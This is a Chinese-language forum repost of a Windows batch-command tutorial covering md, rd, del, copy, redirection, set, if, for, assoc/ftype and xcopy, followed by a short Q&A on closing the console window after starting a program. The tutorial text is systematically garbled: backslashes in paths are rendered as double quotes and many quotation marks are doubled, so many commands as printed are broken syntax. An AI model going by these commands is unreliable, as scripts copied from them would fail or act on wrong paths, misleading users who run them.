md d:"a"b"c           #如果 d:"a 不存在,將會自動創建中級目錄

#如果命令擴展名被停用,則需要鍵入 mkdir "a"b"c。

6 rd
rd abc                #刪除當前目錄裡的 abc 子目錄,要求為空目錄
rd /s/q d:"temp       #刪除 d:"temp 文件夾及其子文件夾和文件,/q安靜模式


7 del
del d:"test.txt       #刪除指定文件,不能是隱藏、系統、只讀文件
del /q/a/f d:"temp"*.*

刪除 d:"temp 文件夾裡面的所有文件,包括隱藏、只讀、系統文件,不包括子目錄
del /q/a/f/s d:"temp"*.*

刪除 d:"temp 及子文件夾裡面的所有文件,包括隱藏、只讀、系統文件,不包括子目錄

8 ren
ren d:"temp tmp       #支持對文件夾的重命名


9 cls
清屏

10 type
顯示文件內容
type c:"boot.ini      #顯示指定文件的內容,程序文件一般會顯示亂碼
type *.txt            #顯示當前目錄裡所有.txt文件的內容


11 copy
拷貝文件
copy c:"test.txt d:"test.bak

複製 c:"test.txt 文件到 d:" ,並重命名為 test.bak
copy con test.txt

從屏幕上等待輸入,按 Ctrl+Z 結束輸入,輸入內容存為test.txt文件
con代表屏幕,prn代表打印機,nul代表空設備
copy 1.txt + 2.txt 3.txt

合併 1.txt 和 2.txt 的內容,保存為 3.txt 文件
如果不指定 3.txt ,則保存到 1.txt
copy test.txt +

複製文件到自己,實際上是修改了文件日期

12 title
設置cmd窗口的標題
title 新標題          #可以看到cmd窗口的標題欄變了


13 ver
顯示系統版本

14 label 和 vol
設置卷標
vol                   #顯示卷標
label                 #顯示卷標,同時提示輸入新卷標
label c:system        #設置C盤的卷標為 system


15 pause
暫停命令

16 rem 和 ::
註釋命令
註釋行不執行操作

17 date 和 time
日期和時間
date            #顯示當前日期,並提示輸入新日期,按""回車""略過輸入
date/t          #只顯示當前日期,不提示輸入新日期
time            #顯示當前時間,並提示輸入新時間,按""回車""略過輸入
time/t          #只顯示當前時間,不提示輸入新時間


18 goto 和 :
跳轉命令
:label          #行首為:表示該行是標籤行,標籤行不執行操作
goto label      #跳轉到指定的標籤那一行


19 find (外部命令)
查找命令
find ""abc"" c:"test.txt

在 c:"test.txt 文件裡查找含 abc 字符串的行
如果找不到,將設 errorlevel 返回碼為1
find /i 「abc」 c:"test.txt

查找含 abc 的行,忽略大小寫
find /c ""abc"" c:"test.txt

顯示含 abc 的行的行數

20 more (外部命令)
逐屏顯示
more c:"test.txt      #逐屏顯示 c:"test.txt 的文件內容


21 tree
顯示目錄結構
tree d:"              #顯示D盤的文件目錄結構


22 &
順序執行多條命令,而不管命令是否執行成功

23 &&
順序執行多條命令,當碰到執行出錯的命令後將不執行後面的命令
find ""ok"" c:"test.txt && echo 成功

如果找到了""ok""字樣,就顯示""成功"",找不到就不顯示

24 ||
順序執行多條命令,當碰到執行正確的命令後將不執行後面的命令
find ""ok"" c:"test.txt || echo 不成功

如果找不到""ok""字樣,就顯示""不成功"",找到了就不顯示

25 |
管道命令
dir *.* /s/a | find /c "".exe""

管道命令表示先執行 dir 命令,對其輸出的結果執行後面的 find 命令
該命令行結果:輸出當前文件夾及所有子文件夾裡的.exe文件的個數
type c:"test.txt|more

這個和 more c:"test.txt 的效果是一樣的

26 > 和 >>
輸出重定向命令
> 清除文件中原有的內容後再寫入
>> 追加內容到文件末尾,而不會清除原有的內容

主要將本來顯示在屏幕上的內容輸出到指定文件中
指定文件如果不存在,則自動生成該文件
type c:"test.txt >prn

屏幕上不顯示文件內容,轉向輸出到打印機
echo hello world>con

在屏幕上顯示hello world,實際上所有輸出都是默認 >con 的
copy c:"test.txt f: >nul

拷貝文件,並且不顯示""文件複製成功""的提示信息,但如果f盤不存在,還是會顯示出錯信息
copy c:"test.txt f: >nul 2>nul

不顯示」文件複製成功」的提示信息,並且f盤不存在的話,也不顯示錯誤提示信息
echo ^^W ^> ^W>c:"test.txt

生成的文件內容為 ^W > W
^ 和 > 是控制命令,要把它們輸出到文件,必須在前面加個 ^ 符號

27 <
從文件中獲得輸入信息,而不是從屏幕上
一般用於 date time label 等需要等待輸入的命令
@echo off
echo 2005-05-01>temp.txt
date <temp.txt
del temp.txt

這樣就可以不等待輸入直接修改當前日期

28 %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %*
命令行傳遞給批處理的參數
%0 批處理文件本身
%1 第一個參數
%9 第九個參數
%* 從第一個參數開始的所有參數

批參數(%n)的替代已被增強。您可以使用以下語法:
      %~1           - 刪除引號(""),擴充 %1
      %~f1          - 將 %1 擴充到一個完全合格的路徑名
      %~d1          - 僅將 %1 擴充到一個驅動器號
      %~p1          - 僅將 %1 擴充到一個路徑
      %~n1          - 僅將 %1 擴充到一個文件名
      %~x1          - 僅將 %1 擴充到一個文件擴展名
      %~s1          - 擴充的路徑指含有短名
      %~a1          - 將 %1 擴充到文件屬性
      %~t1          - 將 %1 擴充到文件的日期/時間
      %~z1          - 將 %1 擴充到文件的大小
      %~$PATH : 1 - 查找列在 PATH 環境變量的目錄,並將 %1
                    擴充到找到的第一個完全合格的名稱。如果環境
                    變量名未被定義,或者沒有找到文件,此組合鍵會
                    擴充到空字符串

可以組合修定符來取得多重結果:
     %~dp1         - 只將 %1 擴展到驅動器號和路徑
     %~nx1         - 只將 %1 擴展到文件名和擴展名
     %~dp$PATH:1   - 在列在 PATH 環境變量中的目錄裡查找 %1,
                     並擴展到找到的第一個文件的驅動器號和路徑。
     %~ftza1       - 將 %1 擴展到類似 DIR 的輸出行。

可以參照 call/? 或 for/? 看出每個參數的含意
echo load ""%%1"" ""%%2"">c:"test.txt

生成的文件內容為 load ""%1"" ""%2""
批處理文件裡,用這個格式把命令行參數輸出到文件

29 if
判斷命令
if ""%1""==""/a"" echo 第一個參數是/a
if /i ""%1"" equ ""/a"" echo 第一個參數是/a

/i 表示不區分大小寫,equ 和 == 是一樣的,其它運算符參見 if/?
if exist c:"test.bat echo 存在c:"test.bat文件
if not exist c:"windows (
      echo 不存在c:"windows文件夾
      )
if exist c:"test.bat (
      echo 存在c:"test.bat
      ) else (
      echo 不存在c:"test.bat
      )


30 setlocal 和 endlocal
設置」命令擴展名」和」延緩環境變量擴充」
SETLOCAL ENABLEEXTENSIONS              #啟用""命令擴展名""
SETLOCAL DISABLEEXTENSIONS             #停用""命令擴展名""
SETLOCAL ENABLEDELAYEDEXPANSION        #啟用""延緩環境變量擴充""
SETLOCAL DISABLEDELAYEDEXPANSION       #停用""延緩環境變量擴充""
ENDLOCAL                               #恢復到使用SETLOCAL語句以前的狀態

「命令擴展名」默認為啟用
「延緩環境變量擴充」默認為停用
批處理結束系統會自動恢復默認值
可以修改註冊表以禁用""命令擴展名"",詳見 cmd /? 。所以用到""命令擴展名""的程序,建議在開頭和結尾加上 SETLOCAL ENABLEEXTENSIONS 和 ENDLOCAL 語句,以確保程序能在其它系統上正確運行
""延緩環境變量擴充""主要用於 if 和 for 的符合語句,在 set 的說明裡有其實用例程

31 set
設置變量
引用變量可在變量名前後加 % ,即 %變量名%
set                      #顯示目前所有可用的變量,包括系統變量和自定義的變量
echo %SystemDrive%       #顯示系統盤盤符。系統變量可以直接引用
set p                    #顯示所有以p開頭的變量,要是一個也沒有就設errorlevel=1
set p=aa1bb1aa2bb2       #設置變量p,並賦值為 = 後面的字符串,即aa1bb1aa2bb2
echo %p%                 #顯示變量p代表的字符串,即aa1bb1aa2bb2
echo %p:~6%              #顯示變量p中第6個字符以後的所有字符,即aa2bb2
echo %p:~6,3%            #顯示第6個字符以後的3個字符,即aa2
echo %p:~0,3%            #顯示前3個字符,即aa1
echo %p:~-2%             #顯示最後面的2個字符,即b2
echo %p:~0,-2%           #顯示除了最後2個字符以外的其它字符,即aa1bb1aa2b
echo %p:aa=c%            #用c替換變量p中所有的aa,即顯示c1bb1c2bb2
echo %p:aa=%             #將變量p中的所有aa字符串置換為空,即顯示1bb12bb2
echo %p:*bb=c%           #第一個bb及其之前的所有字符被替換為c,即顯示c1aa2bb2
set p=%p:*bb=c%          #設置變量p,賦值為 %p:*bb=c% ,即c1aa2bb2
set /a p=39              #設置p為數值型變量,值為39
set /a p=39/10           #支持運算符,有小數時用去尾法,39/10=3.9,去尾得3,p=3
set /a p=p/10            #用 /a 參數時,在 = 後面的變量可以不加%直接引用
set /a p=」1&0〞           #」與」運算,要加引號。其它支持的運算符參見set/?
set p=                   #取消p變量
set /p p=請輸入

屏幕上顯示」請輸入」,並會將輸入的字符串賦值給變量p
注意這條可以用來取代 choice 命令
注意變量在 if 和 for 的復合語句裡是一次性全部替換的,如
@echo off
set p=aaa
if %p%==aaa (
      echo %p%
      set p=bbb
      echo %p%
      )

結果將顯示
aaa
aaa

因為在讀取 if 語句時已經將所有 %p% 替換為aaa
這裡的""替換"",在 /? 幫助裡就是指""擴充""、""環境變量擴充""
可以啟用」延緩環境變量擴充」,用 ! 來引用變量,即 !變量名!
@echo off
SETLOCAL ENABLEDELAYEDEXPANSION
set p=aaa
if %p%==aaa (
      echo %p%
      set p=bbb
      echo !p!
      )
ENDLOCAL

結果將顯示
aaa
bbb

還有幾個動態變量,運行 set 看不到
%CD%                    #代表當前目錄的字符串
%DATE%                  #當前日期
%TIME%                  #當前時間
%RANDOM%                #隨機整數,介於0~32767
%ERRORLEVEL%            #當前 ERRORLEVEL 值
%CMDEXTVERSION%         #當前命令處理器擴展名版本號
%CMDCMDLINE%            #調用命令處理器的原始命令行

可以用echo命令查看每個變量值,如 echo %time%
注意 %time% 精確到毫秒,在批處理需要延時處理時可以用到

32 start
批處理中調用外部程序的命令,否則等外部程序完成後才繼續執行剩下的指令

33 call
批處理中調用另外一個批處理的命令,否則剩下的批處理指令將不會被執行
有時有的應用程序用start調用出錯的,也可以call調用

34 choice (外部命令)
選擇命令
讓用戶輸入一個字符,從而選擇運行不同的命令,返回碼errorlevel為1234……
win98里是choice.com
win2000pro裡沒有,可以從win98里拷過來
win2003里是choice.exe
choice /N /C y /T 5 /D y>nul

延時5秒

35 assoc 和 ftype
文件關聯
assoc 設置'文件擴展名'關聯,關聯到'文件類型'
ftype 設置'文件類型'關聯,關聯到'執行程序和參數'

當你雙擊一個.txt文件時,windows並不是根據.txt直接判斷用 notepad.exe 打開
而是先判斷.txt屬於 txtfile '文件類型'
再調用 txtfile 關聯的命令行 txtfile=%SystemRoot%"system32"NOTEPAD.EXE %1
可以在""文件夾選項""→""文件類型""裡修改這2種關聯
assoc             #顯示所有'文件擴展名'關聯
assoc .txt        #顯示.txt代表的'文件類型',結果顯示 .txt=txtfile
assoc .doc        #顯示.doc代表的'文件類型',結果顯示 .doc=Word.Document.8
assoc .exe        #顯示.exe代表的'文件類型',結果顯示 .exe=exefile
ftype             #顯示所有'文件類型'關聯
ftype exefile     #顯示exefile類型關聯的命令行,結果顯示 exefile=""%1"" %*
assoc .txt=Word.Document.8

設置.txt為word類型的文檔,可以看到.txt文件的圖標都變了
assoc .txt=txtfile

恢復.txt的正確關聯
ftype exefile=""%1"" %*

恢復 exefile 的正確關聯
如果該關聯已經被破壞,可以運行 command.com ,再輸入這條命令

36 pushd 和 popd
切換當前目錄
@echo off
c: & cd" & md mp3         #在 C:" 建立 mp3 文件夾
md d:"mp4                 #在 D:" 建立 mp4 文件夾
cd /d d:"mp4              #更改當前目錄為 d:"mp4
pushd c:"mp3              #保存當前目錄,並切換當前目錄為 c:"mp3
popd                      #恢復當前目錄為剛才保存的 d:"mp4


37 for
循環命令
這個比較複雜,請對照 for/? 來看
for %%i in (c: d: e: f:) do echo %%i

依次調用小括號裡的每個字符串,執行 do 後面的命令
注意%%i,在批處理中 for 語句調用參數用2個%
默認的字符串分隔符是""空格鍵"",""Tab鍵"",""回車鍵""
for %%i in (*.txt) do find ""abc"" %%i

對當前目錄裡所有的txt文件執行 find 命令
for /r . %%i in (*.txt) do find ""abc"" %%i

在當前目錄和子目錄裡所有的.txt文件中搜索包含 abc 字符串的行
for /r . %%i in (.) do echo %%~pni

顯示當前目錄名和所有子目錄名,包括路徑,不包括盤符
for /r d:"mp3 %%i in (*.mp3) do echo %%i>>d:"mp3.txt

把 d:"mp3 及其子目錄裡的mp3文件的文件名都存到 d:"mp3.txt 裡去
for /l %%i in (2,1,8) do echo %%i

生成2345678的一串數字,2是數字序列的開頭,8是結尾,1表示每次加1
for /f %%i in ('set') do echo %%i

對 set 命令的輸出結果循環調用,每行一個
for /f ""eol=P"" %%i in ('set') do echo %%i

取 set 命令的輸出結果,忽略以 P 開頭的那幾行
for /f %%i in (d:"mp3.txt) do echo %%i

顯示 d:"mp3.txt 裡的每個文件名,每行一個,不支持帶空格的名稱
for /f ""delims="" %%i in (d:"mp3.txt) do echo %%i

顯示 d:"mp3.txt 裡的每個文件名,每行一個,支持帶空格的名稱
for /f ""skip=5 tokens=4"" %%a in ('dir') do echo %%a

對 dir 命令的結果,跳過前面5行,餘下的每行取第4列
每列之間的分隔符為默認的""空格""
可以注意到 dir 命令輸出的前5行是沒有文件名的
for /f ""tokens=1,2,3 delims=- "" %%a in ('date /t') do (
      echo %%a
      echo %%b
      echo %%c
      )

對 date /t 的輸出結果,每行取1、2、3列
第一列對應指定的 %%a ,後面的 %%b 和 %%c 是派生出來的,對應其它列
分隔符指定為 - 和""空格"",注意 delims=- 後面有個""空格""
其中 tokens=1,2,3 若用 tokens=1-3 替換,效果是一樣的
for /f ""tokens=2* delims=- "" %%a in ('date /t') do echo %%b

取第2列給 %%a ,其後的列都給 %%b

38 subst (外部命令)
映射磁盤。
subst z: "server"d       #這樣輸入z:就可以訪問"server"d了
subst z: /d               #取消該映射
subst                     #顯示目前所有的映時


39 xcopy (外部命令)
文件拷貝
xcopy d:"mp3 e:"mp3 /s/e/i/y

複製 d:"mp3 文件夾、所有子文件夾和文件到 e:" ,覆蓋已有文件
加 /i 表示如果 e:" 沒有 mp3 文件夾就自動新建一個,否則會有詢問



原文出處:Windows Bat命令編寫大全 - topMan'blog - ITeye技術網站
冷日
(冷日)
Webmaster
  • 註冊日: 2008/2/19
  • 來自:
  • 發表數: 15771
[轉貼]執行 .bat 檔之後如何關閉視窗
CMD - 執行 .bat 檔之後如何關閉視窗?
by Wang Wei-Jen on 星期四, 1月 16, 2014

Q.執行 .bat 檔之後如何關閉視窗?

因為執行某個 .exe 檔案前需要一些前置作業,所以就用 .bat 批次檔把內容包起來,但是希望批次檔執行完成後能夠把開啟的命令提示字元視窗關閉,該如何達成?

Ans:
請在 .bat 批次檔內容中,使用「start」去呼叫欲執行的 .exe,最後加上「exit」離開也就是關閉命令提示字元視窗。(請尊重 Weithenn 的辛勞!!)
@ECHO OFF

copy /Y \\FileServer\Winedt.ini %USERPROFILE%\AppData\Roaming\WinEdt\

start "" "C:\Program Files (x86)\WinEdt Team\WinEdt\WinEdt.exe"

exit


原文出處:CMD - 執行 .bat 檔之後如何關閉視窗? ~ 不自量力 の Weithenn
前一個主題 | 下一個主題 | 頁首 | | |



Powered by XOOPS 2.0 © 2001-2008 The XOOPS Project|